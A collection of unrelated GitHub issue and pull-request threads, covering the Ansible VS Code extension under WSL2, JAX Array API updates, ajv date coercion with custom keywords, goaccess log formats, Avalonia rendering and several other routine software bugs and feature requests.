Getting "Python is not installed" and runtime status "Not yet activated" in WSL2: Ubuntu 20

Sanity check

[X] I certify that the redhat.ansible extension is in use and the language of the document in this bug report shows up as Ansible

Summary
I have syntax highlighting but no validation and autocomplete when opening yml and yaml files associated with the Ansible extension.
A "Python is not installed" popup appears in the bottom right corner, although it is installed.
The Ansible extension Runtime Status says "Not yet activated" and never changes.
I am using VS Code
Extension version
0.11.10
VS Code version
1.69.2
Ansible Version
ansible 2.9.6
  config file = /etc/ansible/ansible.cfg
  configured module search path = ['/home/me/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /usr/lib/python3/dist-packages/ansible
  executable location = /usr/bin/ansible
  python version = 3.8.10 (default, Jun 22 2022, 20:18:18) [GCC 9.4.0]

OS / Environment
Host OS: Windows 10 21H2
Extension: Remote - WSL v0.66.3
wsl --status
Default Distribution: Ubuntu
Default Version: 2
Windows Subsystem for Linux was last updated on 3/26/2022
WSL automatic updates are on.
Kernel version: <IP_ADDRESS>

 wsl -l -v
  NAME      STATE           VERSION
* Ubuntu    Running         2

cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04 LTS (Focal Fossa)"

Relevant log output
Output : Python
Starting Pylance language server.
Diagnostic Code: NoPythonInterpretersDiagnostic, Message: Python is not installed. Please download and install Python before using the extension.
> C:\Users\me\AppData\Local\Programs\Python\Python310\python.exe -c "import sys;print(sys.executable)"
[ERROR 2022-7-4 12:25:33.49]: [Error: Command failed: C:\Users\me\AppData\Local\Programs\Python\Python310\python.exe -c "import sys;print(sys.executable)"
/bin/sh: 1: C:UsersmeAppDataLocalProgramsPythonPython310python.exe: not found

I was able to fix the 'Python not install' error by
In vs code
In top left, Click on view
Click on Command Palette
Click on Python: Select Interpreter
Click on your python version
However the Ansible extension is still not working.

I am running into the same issue (minus the python part).
VSCode version 1.70.00, everything else the same (WSL, Ubunutu version, ansible version).  Stuck on status not yet activated despite several reinstalls/restarts.

I noticed in the Output pane it has some warnings and errors for why the extension could not be activated.
[2022-08-05 12:02:29.422] [exthost] [info] Extension host with pid 9552 started [2022-08-05 12:02:29.682] [exthost] [info] ExtensionService#_doActivateExtension ms-python.python, startup: false, activationEvent: 'onLanguage:ansible', root cause: redhat.ansible [2022-08-05 12:02:31.099] [exthost] [info] ExtensionService#_doActivateExtension redhat.vscode-yaml, startup: false, activationEvent: 'onLanguage:ansible', root cause: redhat.ansible [2022-08-05 12:02:31.533] [exthost] [info] ExtensionService#_doActivateExtension vscode.debug-auto-launch, startup: true, activationEvent: '*' [2022-08-05 12:02:31.549] [exthost] [info] ExtensionService#_doActivateExtension vscode.git-base, startup: true, activationEvent: '*', root cause: vscode.git [2022-08-05 12:02:31.584] [exthost] [info] ExtensionService#_doActivateExtension vscode.ipynb, startup: true, activationEvent: '*' [2022-08-05 12:02:31.885] [exthost] [info] Lock '/home/.../.vscode-server/data/User/workspaceStorage/5d9e5dd851d3ce229bbaaae2a42af2c1/vscode.lock': Lock acquired. [2022-08-05 12:02:32.936] [exthost] [info] ExtensionService#_doActivateExtension vscode.git, startup: true, activationEvent: '*' [2022-08-05 12:02:33.335] [exthost] [info] ExtensionService#_doActivateExtension vscode.github, startup: true, activationEvent: '*' [2022-08-05 12:02:33.929] [exthost] [info] ExtensionService#_doActivateExtension vscode.emmet, startup: false, activationEvent: 'onStartupFinished' [2022-08-05 12:02:34.022] [exthost] [info] ExtensionService#_doActivateExtension vscode.merge-conflict, startup: false, activationEvent: 'onStartupFinished' [2022-08-05 12:02:34.052] [exthost] [info] Eager extensions activated [2022-08-05 12:02:34.850] [exthost] [warning] [redhat.vscode-yaml] Accessing a resource scoped configuration without providing a resource is not expected. To get the effective value for '[yaml]', provide the URI of a resource or 'null' for any resource. [2022-08-05 12:02:34.864] [exthost] [warning] [redhat.vscode-yaml] Accessing a resource scoped configuration without providing a resource is not expected. To get the effective value for '[yaml]', provide the URI of a resource or 'null' for any resource. [2022-08-05 12:02:35.103] [exthost] [info] ExtensionService#_doActivateExtension redhat.ansible, startup: false, activationEvent: 'onLanguage:ansible' [2022-08-05 12:02:35.119] [exthost] [error] Activating extension redhat.ansible failed due to an error: [2022-08-05 12:02:35.119] [exthost] [error] Error: Cannot find module './features/vault'

Getting the same Error: Cannot find module './features/vault' error as well, was able to fix it by downgrading to version v0.10.0.

+1
Rolling back to v0.10.0 fixes this issue

Please update the extension to v0.11.12 (pre-release).

Please update the extension to v0.11.12 (pre-release).

This worked in the non WSL code window.  However there is an error updating the RedHat YAML extension to the pre-release version in WSL now since VSCode updated to 1.70.0 this morning.

Can't install pre-release version of 'redhat.vscode-yaml' extension because it is not compatible with the current version of Visual Studio Code (version 1.70.0).

Updating the ansible extension to the prerelease version worked for me in WSL


Update jax.experimental.array_api to v2023.12 API

This issue tracks the changes necessary to adopt the v2023.12 Array API. This was originally mentioned in https://github.com/google/jax/issues/18353. Note that there may be some specifications that we already satisfy, however the vast majority of these will need alterations.
API Updates

[ ] https://github.com/google/jax/pull/20198 | spec
[ ] https://github.com/google/jax/pull/20175 | spec
[ ] https://github.com/google/jax/pull/20194 | spec
[ ] https://github.com/google/jax/pull/20195 | spec

New API

[ ] Add __array_namespace_info__ | spec
[ ] Add clip | spec
[ ] Add copysign | spec
[ ] Add cumulative_sum | spec
[ ] Add hypot | spec
[ ] Add maximum | spec
[ ] Add minimum | spec
[ ] Add moveaxis | spec
[ ] Add repeat | spec
[ ] Add searchsorted | spec
[ ] Add signbit | spec | cf. https://github.com/google/jax/pull/19984
[ ] Add unstack | spec
[ ] Add capabilities | spec
[ ] Add default_device | spec
[ ] Add default_dtypes | spec
[ ] Add dtypes | spec
[ ] Add devices | spec

Breaking Changes
For specific details on what has changed, look on their specification pages for "Changed in version 2023.12 ..."

[ ] Update prod | spec
[ ] Update sum | spec
[ ] Update vecdot | spec
[ ] Update fft extension module

[ ] Update fft | spec
[ ] Update fftn | spec
[ ] Update hfft | spec
[ ] Update ifft | spec
[ ] Update ifftn | spec
[ ] Update irfft | spec
[ ] Update irfftn | spec
[ ] Update fftfreq | spec

Thanks for adding this! One overall note: our eventual goal is to remove jax.experimental.array_api and just use the jax.numpy namespace directly. So as much as possible, we should aim for API functions in jax.experimental.array_api to not have any additional logic beyond just calling the jax.numpy counterpart.

A note on default_device (cf. a discussion with @yashk2810). JAX doesn't really have a concept of "default device" in the way that the Array API envisions it. By default, arrays are created uncommitted, so the only way to write a consistent default_device function would be for it to return "uncommitted". Currently most (if not all) functions that accept a device parameter have a default value None, so our default_device function should probably look like this:
def default_device():
  return None

and be documented appropriately.


Allow infix syntax in data declarations

These sorts of things should be valid:
(data {a :~: b} ...)
(data (List a)
  {a :: (List a)}
  nil)

I got {a :: (List a)} working! Can you mark the issue as 'in-progress' so that others don't duplicate the work?

Fixed by 7add7bc4a89c73a70ccc277a8f15d3463dbe1da8.

Reintroduced by the new implementation, with a twist.
The new implementation allows specifying associativity. Precedence is not yet supported, and the syntax is all very tentative, but the basic idea is that you can define left-associative or right-associative operators by writing something like this:
(def :: #:fixity right
  cons)

And then when you write this:
{1 :: 2 :: 3 :: nil}

…it gets parsed with the correct precedence.
Unfortunately, writing :: as a separate definition from cons means we can’t use :: in case, so we really watch to attach the fixity annotations to the data declarations themselves. This creates a small dilemma, since it’s not immediately clear to me where in the data declarations fixity annotations should go.
Should they look like this?
(data {a :<|>: b} #:fixity right
  {a :<||>: b} #:fixity right)

I’m not sure how else to do it without adding another grouping construct in data declarations.


React Zipline - User leaderboard

Uses: ReactJS and jQuery (for API calls)
API-URL: http://fcctop100.herokuapp.com/api/fccusers/[recent|alltime]/:sortColumnName
User Stories:
As a user I can see the leading FCC users based on the total score in the past 30 days (incl. bonus)
As a user I can switch to the all-time overview and back to the 30 days
As a user I can change the order of the list on one of the other columns
As a user I can refresh the statistics of one of the users
Demo: http://codepen.io/rokidoki/full/MKWVKW/

:heart: Love this idea!

@QuincyLarson, @roelver I'd love to do this one!

@LenaBarinova Would you be able to design the API endpoint as well?

@SaintPeter Yes. I think I'll do it a couple of iterations. My first idea would be:
Iteration1. UI part + API method to get all the points for users from current user profiles in mongodb
Iteration2. Create some kind of points aggregation persistence (as key-value). Probably even store 30 days and all the rest in two different places. Update those aggregates either periodically or on challenge complete event (I'd prefer the second option).
Haven't thought about this problem too much yet, once I have a vision - I'll share it.

@LenaBarinova + @SaintPeter , Are you aware that this is already completed? The demo codepen is a UI on top of the API from the current leaderboard I made: http://fcctop100.herokuapp.com . It's ready for use as example for ziplines.
It would be great however if the data could be updated more efficiently and/or the API to be hosted on the FCC site.

@roelver why then it was labeled as a help wanted?

I don't know. @QuincyLarson ?
Well, the design is not award-winning. ;-) If you want to make a nicer UI, I can give you the specs for the API.

@roelver Am I correct that your version just uses web-scraping?  Or is there an API endpoint I am not aware of?  Ideally I'd like to get that API endpoint created and re-target your existing interface to use the API.
Huh:
http://fcctop100.herokuapp.com/api/fccusers/recent/username
That returns data.  Although everything is 0s for now.  So maybe it needs to be completed?

OH - that's pulling from YOUR data, and we already know there is an issue with your ability to scrape.
So I do believe there is a need for an official FCC API endpoint, as proposed by @LenaBarinova.

The codepen version is a React frontend on my leaderboard database on Heroku. @QuincyLarson asked for that so I gave it a try. The column Community Help is a new value he suggested.
Of course it would be better if the scores came from an API on top of FCC data, but that may be too short notice for the launch in January. On the other hand, adding the aggregated counters to the existing user data, wouldn't be too hard. That's all it needs for backing the leaderboard, and maybe a couple of indexes to speed up the descending sort. That would allow all FCC users to appear in the leaderboard, while now only users with a Github profile are listed. I suspect those are the real fanatics, though. :wink:

Well, ideally @LenaBarinova could turn it around in such a short time frame because: 1) we're open source, so many hands makes light work and 2) She's some sort of genius or something.

Can we decide to add a couple of attributes to the FCC user collection just like that? Aren't there performance and storage considerations here? And there must be a process running to keep the counters up-to-date, or would you include that in the current method that registers the completed assignment or brownies?

Sure, why not?  Adding a couple of counters won't break our piggy-bank.  Running a nightly or twice daily update probably won't break anything.  Maybe it could be phased?  Honestly, I have no idea.  I presume that there exist efficient ways to do these things.
What @LenaBarinova said above makes sense to me:

Iteration1. UI part + API method to get all the points for users from current user profiles in mongodb
Iteration2. Create some kind of points aggregation persistence (as key-value). Probably even store 30 days and all the rest in two different places. Update those aggregates either periodically or on challenge complete event (I'd prefer the second option).

I would say we move forward until @BerkeleyTrue or @QuincyLarson say no.  Considering that Quincy proposed the Zipline to begin with, I think we have a mandate.

@roelver I wouldn't suggest adding any aggregated data to profiles. In my mind it should be something separate in storage (new collection for just this use case) and asynchronous from current challenge completion registration.

@LenaBarinova Sorry for the confusion. I added the help wanted label and forgot to remove it once @roelver mentioned his interest. It looks like you two are already discussing this. Perhaps you can collaborate on this?
@BerkeleyTrue and I can start working on a custom endpoint for this. Please let us know what data you all need.

@QuincyLarson I described the interface in issue #5322
I wrote an update node script to export the data to a CSV file https://github.com/roelver/fccexport. You could use that as a starter and update a Mongo collection instead.
I agree with @LenaBarinova that it is safer to use a new collection for the leaderboard data. A document in my current database looks like this:
> db.fccusers.find({username: "roelver"})
{ "_id" : ObjectId("5616e35ecc915403001ad57e"), "username" : "roelver", "existing" : true, "points" : 387, "ziplines" : 10, "waypoints" : 244, "bonfires" : 46, "basejumps" : 5, "__v" : 40, "img" : "https://avatars.githubusercontent.com/u/476351?v=3", "lastUpdate" : ISODate("2015-12-16T03:29:44.344Z"), "total" : 1125, "basejumpsRecent" : 1, "bonfiresRecent" : 0, "pointsRecent" : 16, "totalRecent" : 76, "waypointsRecent" : 8, "ziplinesRecent" : 0, "following" : [ "SaintPeter" ], "community" : 82, "communityRecent" : 7 }

the property 'existing' indicates that this user has a profile page on FCC with this username. The "following" array is a feature on the Heroku leaderboard for Github authenticated users.

@roelver I will talk with @BerkeleyTrue about implementing this. We planned to go "open data" sooner rather than later, and this may be a good excuse for us to do so sooner. We will be extremely careful about not exposing sensitive user data (basically the only thing we have that isn't already public is email address).


add function codec

@lostmsu While running the test I get the exception "Could not load python37.dll".  I wanted to push this first to get a preliminary review while I figure that out.  It also appears that vs2019 is needed (for .net core 3.1).  I don't mind but wasn't sure if this was intentional.

@koubaa I've added Python installation to CI. Please, rebase your branch.

@koubaa I've added Python installation to CI. Please, rebase your branch.

@lostmsu done.  Although I suppose this won't fix the issue testing it locally.

@koubaa  Locally, you can go to project settings and set PATH environment variable in the Debug section. I personally just have a setup class in the test project, that I never commit:
[SetUpFixture]
public class LocalTestConfig {
    [OneTimeSetUp]
    public void AssemblySetup()
    {
        Environment.SetEnvironmentVariable("PATH",
            @"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\;"
            + Environment.GetEnvironmentVariable("PATH"));

        PythonEngine.PythonHome =
            @"C:\Users\USER\AppData\Local\Programs\Python\Python37";
    }
}

Hm, build still fails to find the library. Let me try to fix it.

@lostmsu I can try what you did locally, but ideally this info can be in the wiki

@lostmsu AssemblySetup didn't work, I debugged and my TestCallBacks SetUp function is called before AssemblySetup.  I think the order NUnit runs these is not deterministic and since you can run individual tests from the test explorer I don't think It'll work in general even if it does run that setup first.  I'll see if I can figure out how the pythonnet embedding tests sets up the python environment.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: koubaa sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

@koubaa you have to manually call TestsRuntimeConfig.Ensure(); in [SetUp] for your tests.

@lostmsu done.  tests fail due to the issue with the return value of the Func

@lostmsu these changes are ready and tests pass locally.  I don't know what happened to the CI:
https://github.com/pythonnet/codecs/actions/runs/85878219

@lostmsu I thought you said these were the reasons you couldn't take it in the pythonnet repo but you could take it in the codecs repo?

@koubaa the reason not to take in the main repo is that conversion is lossy. E.g. decode followed by encode do not give an identical (or at least identically behaving) object back.
I think genericity is not really necessary on its own, but "unintuitive meaning for standard C# delegate types" is a real problem. I just think making a generic solution is easy enough vs going the route of defining custom function types to circumvent "unintuitive meaning for standard C# delegate types", and forcing everyone to use them with this codec.

@koubaa BTW, we can take this if you target it to custom delegate types instead of Func<object[], object> and other standard ones to avoid confusion. It should be enough for most use cases, users could then just have lambdas forwarding the custom delegate type to whatever type they need. E.g.
delegate object PythonFunction(object[] args);

void Foo(PythonFunction pyFunc) {
  Func<..., object> sharpFunc = (a,b,...) => pyFunc(new object[]{ a, b, ...});
  // use sharpFunc normally
}

@lostmsu I'll keep it my private repo then.  I don't know how to accomplish what you're looking for


s3Copy doesn't exist?

Hi folks, I'm trying to run a multipart pipeline deploy that uploads to one bucket at one point in the process (which works fine) and then copy from that bucket to another one later in the process.
Using v1.26 of this plugin, I'm getting the following error (snipped out steps that don't start with 's3'):
java.lang.NoSuchMethodError: No such DSL method 's3Copy' found among steps [
...
s3Delete, s3Download, s3FindFiles, s3PresignURL, s3Upload
...
]

Is this something wrong with the package or my installation? How can I tell?
I tried to look at differences between s3Copy & s3Upload but didn't see anything significant (at least to my untrained eye with this codebase).
While I can work around this by re-uploading or any number of other things, it is annoying to not be able to copy. Any help would be appreciated.

should be released now with 1.27

OH! Apologies. I'd assumed it had already been released but just looked at the commits and found where it was added. I'll be more careful next time.


Addition of docs

This PR adds common docs similar to other React applications we have released.

I think all of these items got merged earlier or are part of another PR (#24) but can someone else check?

This PR was superseded by the separate PR #24


coerceTypes: true only works with "type", can I use coerceTypes: true for "format", if not then can I define my own custom type?

My json schema is having many data types, for example date-time, mongoid etc. I liked the concept of coerceTypes: true which help to convert my input json data to corresponding type. However it only works for "type". Since "type" has limited to primitive data types therefore I can't use it for "date-time" or "mongo db id".
I tried to use the custom "addFormat" method however it doesn't seem like working. Following is my code. Please help.
validateSchema: (document, callback)=> {
    //read schema as per collection name
    const collectionName = "schema";
    const schema = require("./transactions/" + collectionName + ".json");
    var ajv      = Ajv({loadSchema: module.exports.loadSchema, coerceTypes: true});
    ajv.addFormat('date-time', function(data, cb) {
      try {
        var obj = new Date(data);
      } catch (err) {
        return cb(err);
      }
      cb(null, obj);
    })
    //compile schema as per $ref
    ajv.compileAsync(schema, function(err, validate) {
      if (err) {
        console.log("validateAgainstSchema err " + err);
        callback(false);
      }
      var valid = validate(document);
      !valid && console.log("error in json schema validation " + JSON.stringify(validate.errors));
      console.log("document after validation  status " + valid + "  modified document " + JSON.stringify(document));
      callback(valid);
    });
  }

Following is my scema
{
  "$schema": "http://json-schema.org/draft-04/schema#",
  "definitions": {
    "address": {
      "type": "object",
      "properties": {
        "street_address": {
          "type": "string"
        },
        "city": {
          "type": "string"
        },
        "state": {
          "type": "string"
        },
        "zip": {
          "type": "number"
        },
        "builton": {
          "format": "date-time"
        },
        "_id": {
          "format": "mongoid"
        }
      },
      "required": [
        "street_address",
        "city",
        "state",
        "zip",
        "builton",
         "_id"
      ]
    }
  },
  "type": "object",
  "properties": {
    "billing_address": {
      "$ref": "#/definitions/address"
    },
    "shipping_address": {
      "$ref": "#/definitions/address"
    }
  }
}

Following is test data
{
  "shipping_address": {
    "_id":"573a1093d918fe4c19e054d7",
    "zip":"85027",
    "street_address": "1600 Pennsylvania Avenue NW",
    "city": "Washington",
    "state": "DC",
    "builton":"2016-03-01T15:55:00.000Z"
  },
  "billing_address": {
    "_id":"573a1093d918fe4c19e054d6",
    "zip":85027,
    "street_address": "1st Street SE",
    "city": "Washington",
    "state": "DC",
    "builton":"2015-03-01T15:55:00.000Z"
  }
}

On successful validation, I want this to convert as following
{
  "shipping_address": {
    "_id":ObjectId("573a1093d918fe4c19e054d7"),
    "zip":"85027",
    "street_address": "1600 Pennsylvania Avenue NW",
    "city": "Washington",
    "state": "DC",
    "builton": new Date("2016-03-01T15:55:00.000Z")
  },
  "billing_address": {
    "_id":ObjectId("573a1093d918fe4c19e054d6"),
    "zip":85027,
    "street_address": "1st Street SE",
    "city": "Washington",
    "state": "DC",
    "builton": new Date("2015-03-01T15:55:00.000Z")
  }
}

Custom formats can't do coercion, only validation. They are synchronous functions.
You can achieve what you want with custom keywords - they allow modifying data during validation

Let me know if custom keywords work for you, closing for now

I tried to add keyword "convert", though its calling my function but not doing conversion. Any idea?
const ajv = Ajv({coerceTypes: true, useDefaults: true, loadSchema: utils.loadSchemaHandler});

ajv.addKeyword('convert',{
  type: 'string',compile: function(sch,parentSchema) {
    return parentSchema.format === 'date-time' && sch ? function(data) {
      console.log('Converting data '+ data+' to Date object')
      return new Date(data);
    } : function(data) {
      console.log('Not converting data '+ data)
      return data;
    }
  }
});

Following is my schema
  "createdAt": {
    "type": "string",
    "format": "date-time",
    "convert": true
  }

After validation I still see the input createdAt type is string.
  const validSchema    = schemaService.validateData(collectionName, document, true);
  expect(validSchema).to.be.equal(true);
  expect(typeof document.ts.createdAt).to.be.equal('Date');

See Define keyword with "compilation" function

This validation function will be passed data during validation (and also data path, parent object and the property name in the parent object - it allows to create keywords that modify the validated data)

By changing data you are not updating the object that contains this data, you are simply updating the local variable. You need to update the property in the parent object - parent object is passed as the 3rd and the property name as the 4th parameter to your validation functions.

Sorry, the previous response is a bit confusing. The return value should be the validation result rather than the new data value. If the keyword is purely for data conversion it should return true.

Thank you for sharing more details. Finally it worked for me & I feel like to treat you :-). Following are details on the final code.
Schema validation code excerpt:
// Configure AJV object
const ajv = Ajv({coerceTypes: true,loadSchema: utils.loadSchemaHandler});

// Add convert keyword for date-time schema
ajv.addKeyword('convert',{
  type: 'string',
  compile: function(sch,parentSchema) {
    return parentSchema.format === 'date-time' && sch ? function(value,objectKey,object,key) {

      // Update date-time string to Date object
      object[key] = new Date(value);
      return true;
    } : function() {
      return true;
    }
  }
});

Schema excerpt
"createdAt": {
  "type": "string",
  "format": "date-time",
  "convert": true
}

My test data excerpt
"createdAt": "2016-07-12T22:34:30.160Z",
"updatedAt": "2016-07-12T22:34:30.160Z"

My test code excerpt
it('should return true for valid json data',function() {
  const document = _.cloneDeep(require('user_profile.json'));
  const validSchema = schemaService.validateData('user_profile',document,true);

  expect(validSchema).to.be.equal(true);
  expect(typeof document.ts.createdAt).to.be.equal('object');
  expect(document.ts.createdAt).to.be.an.instanceOf(Date);
});

it('should return false for invalid json data',function() {
  const document = _.cloneDeep(require('user_profile.json'));
  const validSchema = schemaService.validateData('user_profile',document,true);
  expect(validSchema).to.be.equal(false);
  expect(typeof document.ts.createdAt).to.be.equal('string');
});

One quick question, is it possible to change the data just before validation starts? For my use case, it might be possible that ts.createdAt can have Date object or string. Since my schema has type as string and format as date-time therefore value as Date object fails. Can I add any function which will do quick check and if type is Date then convert to string before ajv start validation?

Can be either a separate code or separate schema applied to the cloned data.

While the example from @dilipkumar2k6 works as-is, is always runs and modifies the data value as long as it is any string.
Meaning that some non-compliant ISO-8601 string in the value variable will be passed to new Date(value) constructor, which will be a Date instance, but will be an "Invalid Date" (see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse)
I haven't found a way, as of yet, to have the custom compile function not run if the date-time format validation fails (in fact, based on the AJV docs I have no idea if compile runs after that check would be run anyways), meaning that the code written in the compile function should probably be more defensive so that it mutate the object under validation with an invalid Date object

While the example from @dilipkumar2k6 works as-is, is always runs and modifies the data value as long as it is any string.

“compile” returns the function that will run during validation. You can either validate your keyword value using metaSchema in keyword definition (see the docs) or with the code in “compile” (and throw the exception of itnis invalid).


Update python rucio-clients package to the latest version (1.29.8?)

Impact of the bug
WMCore in general
Describe the bug
The rucio-clients library parses the error sent back from the server, which means that eventually it might start yielding a different error message to the end user, in case we fall too much behind with the client version.
As of this moment, WMCore services use version 1.25.5, which dates back to May 2021.
How to reproduce it
None
Expected behavior
Update the python rucio-clients library to the latest stable version, at this moment, that would be 1.29.8.
Two pull requests need to be created:

a cmsdist PR updating the py3-rucio-clients.spec file
another updating the WMCore requirements.txt file

In order to properly test it, we need to first merge the cmsdist PR, such that a new RPM gets created for WMAgent jenkins tests.
Additional context and error message
None

@belforte @mapellidario I think you are also using the cmsdist/py3-rucio-clients package, right? I'll likely get this update done this week.

yes we do. Thanks for the heads up Alan. We'll pick it in next build. I expect no problems.

Self-reminder: to be done once the T0 team releases a new stable T0-WMAgent package.

We actually hit a blocker! Let's see if we can relax one of the dependencies in the cmsmonitoring package:
https://github.com/dmwm/CMSMonitoring/issues/178


How to merge develop into release in VSCode?

According to the git-flow tips,
step1,click Feature finish ,merge feature into develop，
step2,Where should I click,merge develop into release ？
step3, click Release finish, merge release into master
Is my understanding wrong?

The idea of a release in git-flow is that the code is frozen on develop at the time of the release. I.e. from the time of the freeze there is a feature stop and only bugfixes are checked in on the release branch.
A release branch is therefore used to stabilize and consolidate the code. When the code is tested sufficiently, it can be released productively and the release can be finished.
Your question about how develop can be merged into release is thus not provided for in git-flow. The idea would be to either close the open release and create a new one (then with the new features) or delete the open release branch and start a release again.
I hope this answer is helpful for you.

Thanks, You're right


Adjust for initial device rotation

Adjusts this.filterToWorld based on initial device orientation to address issue #59;

Thank you for the feedback. Unfortunately, I realized that this approach takes care of the initial orientation, but doesn't handle resets with the current resetPose() approach. I'm a little stuck on where to account for what.


implement dcrlibwallet get tx, improve same function for wallet rpc

The output of cli show-transaction via the updated rpc function or the newly implemented dcrlibwallet function. Major changes are addition of account name when displaying outputs and displaying block height instead of block hash. The block height is gotten using the block hash and since the blockhash is invalid (see #96), the block height is not currently found. A default value of -1 is displayed whenever the block hash cannot be used to get a matching block height.

UPDATE:
dcrwallet rpc block hash issue is resolved, and block heights for transactions now display

Block height now display with the latest versions of dcrd and dcrwallet.

Transaction not found errors now show simpler error message:
transaction not found


Fixed Readme and added some links

live visuals here: https://github.com/Developer-piyush/sui/blob/main/README.md

@randall-Mysten : lmk if any more changes required

Looks good, thanks for your contribution!


Token for '%b' specifier is NULL.

Hi,
I am unable to make goaccess works on CentOS release 6.8 running Apache/2.2.15
cat /var/log/httpd/ssl_access_log
<IP_ADDRESS> - username [21/Oct/2020:16:51:25 -0300] "GET /top.html HTTP/1.1" 200 2003
<IP_ADDRESS> - - [21/Oct/2020:17:20:47 -0300] "GET /BGP HTTP/1.1" 401 478

cat /etc/goaccess.conf
time-format %H:%M:%S
date-format %d/%b/%Y
log-format %h %^[%d:%t %^] "%r" %s %b

goaccess syntax
name@server$ goaccess /var/log/httpd/ssl_access_log -o /usr/local/report.html --log-format=COMBINED
/var/log/httpd/ssl_access_log
Parsed 10 lines producing the following errors:

Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.
Token for '%b' specifier is NULL.

Format Errors - Verify your log/date/time format

name@server$

I have tried to remove %b from log-format %h %^[%d:%t %^] "%r" %s %b, but problem remain
Any idea is more than welcome.

nevermind.. I was using wrong syntax...
I have edited file /etc/goaccess.conf , but I still was using '--log-format=COMBINED'. Using correct syntax it start working
name@server$ goaccess /var/log/httpd/ssl_access_log -o /usr/local/report.html

Glad that worked!


[cta-block]: bottom spacing of this component is too wide

JIRA ticket: https://jsw.ibm.com/browse/ADCMS-3190

Description

The CTA Block component is reported to have too much bottom padding by users (ServiceNow INC9218501)
What is the proper spacing that should be used within the page structure?
See - https://www.ibm.com/flashsystem

Component(s) impacted
CTA Block
Browser
Chrome, Safari, Firefox, Microsoft Edge
Carbon for IBM.com version
v1.45
Severity
Severity 3 = The problem is visible or noticeable to users but does not impede the usability or functionality. Affects minor functionality, has a workaround.
Application/website
AEM
Package
@carbon/ibmdotcom-web-components
CodeSandbox example
https://www.ibm.com/flashsystem
Steps to reproduce the issue (if applicable)

Visit https://www.ibm.com/flashsystem
Scroll down to the "Feature" section

Release date (if applicable)
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I checked the current issues for duplicate issues

@oliviaflory and @areagan1030 ^

@proeung @areagan1030 from the design specs the expected bottom spacing is 160px

The 32px below the content items is likely to account for the space needed to not allow the text to bump up against the border when there are more than 3 items.

It does look like theres possibly some extra space here in the container for the content items?

Some of the perceived extra space might be coming from the margin top of the content group banner, which stacks below the cta-block bottom spacing.

Rich and I have been working through the spacing issues Jen and Amanda brought up with us earlier this year. We are still in progress with this, but working to ensure that spacing collapses rather than stacks (like the content group banner example) so it isn't additional spacing.
Ari has a feature branch were we are testing, and I think you can check it out here: https://github.com/carbon-design-system/carbon-for-ibm-dotcom/pull/9611


Complete teleport functionality

This completes the teleporters in the overworld frontend. New features:

there exist teleporters all over world 1 and 2 and their dungeons
teleporter data is now saved in the frontend so only unlocked teleporters need to be saved in the backend
fixed several loading issues and other bugs
teleporters have a new sprite

To test this, you can start the offline mode in the Unity Editor and walk around, find teleporters, unlock them and teleport to other teleporters. However, to test this in combination with the backend, it's optimal to start the docker compose file "docker-compose-dev.yaml".
Instructions for docker can be found here: https://github.com/Gamify-IT/docs/blob/main/dev-manuals/languages/docker/docker-compose.md
For testing you can orient towards the teleporter testplans existing in https://github.com/Gamify-IT/docs/tree/documentation/teleporter-testplans/dev-manuals/test-plans/overworld
(The docker-compose file will work together with the feature/teleporters branch in the overworld-backend and will be changed before merging this branch into main.)

Is this PR related to any issue?

Is this PR related to any issue?

It's related to https://github.com/Gamify-IT/issues/issues/390 but does not directly close it because the overworld backend is also related to it.

sometimes you get stuck in the teleporter & a nullpointer occures..


Transparent window with .UseDirect2D1().UseWin32() on Windows

Describe the bug
Transparent window with .UseDirect2D1().UseWin32() on Windows
To Reproduce
Steps to reproduce the behavior:

Go to 'Sandbox' project
Add to project file <ProjectReference Include="..\..\src\Windows\Avalonia.Direct2D1\Avalonia.Direct2D1.csproj" />
Change into Program.cs .UsePlatformDetect() to .UseDirect2D1().UseWin32()
Run project
See transparent window

Expected behavior
Non-Transparent window
Screenshots

Desktop (please complete the following information):

OS: Windows 10
Version 11.0.0-rc1(https://github.com/AvaloniaUI/Avalonia/commit/d41264e9024b1e77ab9360ca195e090687f7446c)

Also https://github.com/AvaloniaUI/Avalonia/discussions/11746

On testing with the latest commits, the issue appears to be partially fixed. Following the repro steps in the original post, the window displays correctly and is not transparent. However, if you set a transparent background on the window (regardless of whether you set any TransparencyLevelHint), the background will turn solid black:

@RibShark please include logs, it should have render thread errors.
By default, LogToTrace should show logs in the Trace.Output (by default, IDE console).

@RibShark please include logs, it should have render thread errors. By default, LogToTrace should show logs in the Trace.Output (by default, IDE console).

There does not appear to be any such errors in the log:
Loaded application domain 'DefaultDomain (id 1)'
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.CoreLib.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.CoreLib.dll in application domain 1:DefaultDomain
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.CoreLib.dll was not found or failed to read
Started Thread 69792
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Sandbox.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Sandbox.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Sandbox.dll loaded
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Controls.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Controls.dll in application domain 1:clrhost
